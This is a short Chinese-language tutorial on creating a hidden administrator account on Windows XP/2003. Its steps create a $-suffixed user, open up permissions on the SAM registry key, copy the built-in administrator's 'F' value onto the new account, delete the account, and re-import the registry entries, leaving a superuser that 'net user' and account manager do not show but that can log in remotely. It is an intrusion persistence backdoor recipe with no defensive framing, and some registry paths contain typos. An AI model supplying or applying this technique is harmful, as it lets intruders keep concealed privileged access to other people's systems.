如何建立隐藏的超级用户

如何建立隐藏的超级用户

本方法已经在windows sp 及windows2003上进行试验通过2011-11-23李兵

一、 具体步聚如下（注意一定要在用户名后加$符号，并注意对应的注册表的项对比法但超级用户一定是000001F4）

1、 假设我们是以超级用户administrator登录到主机。

2、 在命令行下或帐户管理器中建立一个帐，XABC$,这里我在命令行下建立这个帐户net user XABC$ 1234 /add

3、 在开始/运行中输入:regedt.exe并回车来运行regedt.exe。

4、 在HKEY_LOCAL_MAICHINE\\SAMS\\AMD\\右点“权限”以后会弹出窗口，点添加administrator的身份登录的，并设置权限为“完全控制\"。

5、 关闭注册表。

6、 再点“开始”→“运行”并输入\"regedit.exe\" 回车,启动注册表编辑器regedit.exe。

7、 新加了

HKEY_LOCAL_MAICHINE\\SAM\\SAM\\Domains\\accountuser\\names\\XABC$

8、 将项超级用户的000001F4导出为1f4.reg，将新建立的用户的名称和权限的注册表项也导出，注意要看一下，在没建立时和建立后的比较，才知道哪个是新建立的。共导出三项。

9、 用记事本分别打这几个导出的文件进行编辑，将超级用户对应的项000001F4下的键\"F\"的值复制，并覆盖XABC$对应权限注册表下的键\"F\"的值。

10、 6、在命令行下执行net user XABC$ /del将用户删除。

11、 在regedit.exe的窗口内按F5刷新。

12、 然后导入刚才导出的注册表文件三个，

13、 隐藏的超级用户XABC$已经建好了，

14、 然后关闭regedit.exe。在regedt32.exe窗口内把键权限改回原来的样子

二、 验证：

1、 注意:隐藏的超级用户建好后，在帐户管理器看不到XABC$这个用户，在命令行用“net user”命令也看不到。可用此用户进行登录及在开启远程访问的情况下进行远程桌面登录。具体略。试过的，可行的，windows2003和XP均可。